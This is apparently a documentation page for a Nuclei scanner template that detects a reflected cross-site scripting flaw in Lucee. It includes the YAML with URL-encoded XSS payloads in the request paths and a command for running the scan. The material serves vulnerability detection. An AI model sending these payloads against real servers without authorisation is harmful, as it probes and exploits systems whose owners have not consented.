Lucee - Cross-Site Scripting
ID: lucee-xss
Severity: high
Author: incogbyte
Tags: lucee,xss,unauth,intrusive
Description
Section titled “Description”Lucee contains a cross-site scripting vulnerability. It allows remote attackers to inject arbitrary JavaScript into the responses returned by the server.
YAML Source
Section titled “YAML Source”id: lucee-xss
info: name: Lucee - Cross-Site Scripting author: incogbyte severity: high description: Lucee contains a cross-site scripting vulnerability. It allows remote attackers to inject arbitrary JavaScript into the responses returned by the server. reference: - https://www.acunetix.com/vulnerabilities/web/lucee-server-arbitrary-file-creation/ classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N cvss-score: 7.2 cwe-id: CWE-79 metadata: max-request: 2 tags: lucee,xss,unauth,intrusive
http: - method: GET path: - "{{BaseURL}}/lucees3ezf%3cimg%20src%3da%20onerror%3dalert('{{randstr}}')%3elujb7/admin/imgProcess.cfm" - "{{BaseURL}}/lucee/lucees3ezf%3cimg%20src%3da%20onerror%3dalert('{{randstr}}')%3elujb7/admin/imgProcess.cfm"
stop-at-first-match: true
matchers-condition: and matchers: - type: word words: - "<img src=a onerror=alert('{{randstr}}')>" - "MissingIncludeException" - "lucee-err" part: body condition: and# digest: 4a0a00473045022073b2b95f4f688077026db53c6abcdc4112a1d987dc743cea854d29385fcaadad0221008b6ed405e7b0206358198bc79b60179276a0036d88cef32fc3dd7028737095fb:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/other/lucee-xss.yaml"